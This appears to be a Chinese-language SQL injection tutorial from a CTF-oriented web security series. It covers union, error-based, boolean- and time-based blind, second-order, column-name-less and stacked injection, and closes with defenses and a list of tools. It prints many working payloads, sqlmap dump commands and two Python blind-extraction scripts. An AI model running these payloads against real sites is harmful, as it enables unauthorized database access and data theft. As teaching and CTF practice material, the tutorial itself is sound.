二进制选手的web安全之路(0x0) : sql注入
字数 2138 2025-08-10 12:17:56
SQL注入全面教学文档
一、SQL注入基础概念
SQL注入是一种将恶意SQL代码插入到应用的输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。攻击者可以利用此漏洞绕过认证、获取敏感数据、修改数据库内容甚至获取服务器控制权。
二、SQL注入类型与实战
1. 整数型注入
特征:注入参数为整数类型,语句类似 select * from news where id=参数
手动解法步骤:
- 判断列数:
1 order by 1→1 order by 2→1 order by 3(直到无回显) - 使用UNION查询数据:
-1 union select 1,database() - 查询表名:
-1 union select 1,table_name from information_schema.tables where table_schema='sqli' - 查询列名:
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' - 获取数据:
-1 union select 1,group_concat(flag) from sqli.flag
sqlmap解法:
sqlmap -u "http://example.com/?id=1" --tables
sqlmap -u "http://example.com/?id=1" -D sqli --tables
sqlmap -u "http://example.com/?id=1" -D sqli -T flag --dump
2. 字符型注入
特征:参数为字符串类型,需要闭合引号和注释后续代码
关键点:
- 记得输入
'闭合操作 - 注释后面自带的
',--注释需要加空格,#则不用
解法:与整数型注入类似,注意闭合和注释
3. 报错注入
适用场景:无法利用UNION注入但会回显报错信息
手动解法:
- 使用
extractvalue()和updatexml()函数 1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))1 and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)))
注意:extractvalue()函数最长报错32位
4. 布尔盲注
特征:回显只有True和False两种情况
手动解法思路:
- 判断条件:
1 and 1=1vs1 and 1=2 - 逐字符判断:
1 and (substr((select flag from flag),1,1)='c')
Python脚本示例:
import requests
url = 'http://example.com/'
success_mark = "query_success"
# 获取数据库名长度
def getLengthofDatabase():
i = 1
while True:
new_url = url + "?id=1 and length(database())={}".format(i)
r = requests.get(new_url)
if success_mark in r.text:
return i
i += 1
# 获取数据库名
def getDatabase(length_of_database):
name = ""
for i in range(length_of_database):
for j in range(ord('a'), ord('z')+1):
new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))
r = requests.get(new_url)
if success_mark in r.text:
name += chr(j)
break
return name
5. 时间盲注
特征:没有回显结果,通过响应时间判断
手动解法:
1 and if(length(database())=4,sleep(3),0)- 通过页面响应时间判断(约3秒)
Python脚本示例:
import requests
import time
url = "http://example.com/?id="
name = ""
for i in range(1,10):
for j in range(31,128):
str_ascii=chr(j)
payload = "if(substr(database(),%s,1)='%s',sleep(1),1)"%(str(i),str(str_ascii))
start_time=time.time()
requests.get(url + payload)
end_time = time.time()
if end_time - start_time > 1:
name += str_ascii
break
print(name)
三、SQL注入进阶技术
1. 二次注入
原理:已存储的用户输入被读取后再次进入SQL查询导致的注入
利用流程:
- 注册时将
admin'#插入数据库 - 以
admin'#登录,执行SELECT * FROM users WHERE username='admin '#' and password='$password' - 可修改admin密码
防御绕过:开发人员对插入数据进行转义和过滤,但写入数据库时还原
2. 无名列注入
适用场景:不知道列名且information_schema被过滤
原理:通过取别名方式查询未知列名
示例:
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5'
关键点:
- 用数字代替未知列名需加反引号
`3` - 反引号被过滤可用别名代替
3. 堆叠注入
特征:多条SQL语句用";"连接一起执行
利用方法:
1';show databases;1';show tables #1'; show columns fromwords#1'; handler1919810931114514open asa; handleraread first limit 0,2;#
关键命令:
handler tablename open as new_tablename;(当前会话内生效)Handler_read_next:索引扫描时从数据文件取数据的次数
四、防御措施
- 使用参数化查询(预编译语句)
- 对输入进行严格过滤和转义
- 最小权限原则,数据库用户只赋予必要权限
- 使用Web应用防火墙(WAF)
- 定期更新和修补系统
五、工具推荐
- sqlmap:自动化SQL注入工具
- Burp Suite:用于测试和验证SQL注入
- Havij:自动化SQL注入工具(商业)
- jSQL Injection:轻量级SQL注入工具
六、实战技巧
- 当UNION被过滤时,尝试使用子查询或堆叠注入
- 当information_schema被过滤时,使用无名列注入
- 注意闭合符号和注释方式的选择
- 灵活使用
group_concat()、limit等函数控制输出 - 结合其他漏洞(如XSS、CSRF)进行综合攻击
通过掌握这些SQL注入技术和防御方法,安全研究人员可以更有效地发现和修复漏洞,而开发人员则可以构建更安全的应用程序。